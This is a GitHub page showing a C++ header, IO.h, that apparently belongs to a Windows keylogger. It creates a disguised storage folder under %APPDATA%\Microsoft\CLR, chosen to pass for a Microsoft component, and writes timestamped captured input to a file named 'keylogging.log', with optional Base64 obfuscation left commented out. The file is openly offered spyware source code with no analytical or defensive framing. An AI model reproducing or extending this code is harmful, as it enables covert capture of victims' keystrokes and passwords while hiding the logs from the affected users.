-
Notifications
You must be signed in to change notification settings - Fork 0
/
IO.h
73 lines (61 loc) · 1.64 KB
/
IO.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#ifndef IO_H
#define IO_H
#include <string>
#include <cstdlib>
#include <fstream>
#include "windows.h"
#include "Helper.h"
#include "Base64.h"
namespace IO
{
std::string GetOPath(const bool append_seperator = false)
{
std::string appdata_dir(getenv("APPDATA"));
std::string full = appdata_dir + "\\Microsoft\\CLR";
return full + (append_seperator ? "\\" : "");
}
bool MkDr(std::string path) //Making directory
{
return (bool)CreateDirectory(path.c_str(), NULL) ||
GetLastError() == ERROR_ALREADY_EXISTS;
}
bool ChcDr(std::string path) //If directory not exist create new one
{
for(char &c : path)
if(c == '\\')
{
c='\0';
if(!MkDr(path))
return false;
c ='\\';
}
return true;
}
template <class T>
std::string WriteLog(const T &t)
{
std::string path = GetOPath(true);
Helper::DateTime dt;
std::string name = "keylogging.log"; //keylog file name
try
{
std::ofstream file(path + name);
if(!file) return "";
std::ostringstream s;
s << "[" << dt.GetDateTimeString() << "]" <<
std::endl << t << std::endl;
//std::string data = Base64::EncryptBase64(s.str()); //optional base64 + salting
std::string data = s.str();
file << data;
if (!file)
return "";
file.close();
return name;
}
catch(...)
{
return "";
}
}
}
#endif // IO_H